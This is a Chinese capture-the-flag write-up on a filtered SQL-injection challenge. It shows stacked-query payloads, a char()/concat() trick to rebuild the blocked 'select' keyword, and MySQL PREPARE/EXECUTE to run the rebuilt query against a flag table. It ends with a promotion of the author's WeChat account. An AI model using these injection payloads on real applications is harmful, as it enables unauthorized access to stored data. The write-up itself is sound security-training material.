输入
1' union select database()#
会发现被过滤了select、where等关键字
但是“;”没有被过滤,尝试用堆叠注入
堆叠注入,简单来说就是在表单内用分号隔开,形成一行执行多个语句的效果
输入
1';show tables;#
输入
1';show columns from `1919810931114514`;#
发现flag字段,但是怎么绕过select的过滤呢
可以用内置的char()函数,再和concat()函数组合使用
concat(char(115,101,108,101,99,116)," * from `1919810931114514`")
但是会发现这样还是无法执行
所以用sql预处理的方式
当执行sql时有这么一种情况,每次执行语句时只有个别的值不同(select中的where子句,update中的set子句)
如果每次因为这么几个值不同而重新执行整个语句,不仅效率低,而且繁琐
所以有种方法,用一个占位符替代这些值的位置,然后直接给这些占位符赋值,再执行语句
例如:计算直角三角形第三边
mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> SET @a = 3;
Query OK, 0 rows affected (0.00 sec)
mysql> SET @b = 4;
Query OK, 0 rows affected (0.00 sec)
mysql> EXECUTE stmt1 USING @a, @b;
+------------+
| hypotenuse |
+------------+
| 5 |
+------------+
1 row in set (0.00 sec)
mysql> DEALLOCATE PREPARE stmt1;
Query OK, 0 rows affected (0.00 sec)
现在语句可以执行了,我们构造payload
';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
注意,1919810931114514这个表要用波浪号健的那个顿号引起来才能提交显示结果,我也不知道为什么。。。所以最后不钻牛角尖了,当作数据库的一个知识好了
如果还有不懂的地方可以关注我的公众号“沉淀Hack”,发消息向我留言,每天会更新大量干货教程,快扫下面的二维码吧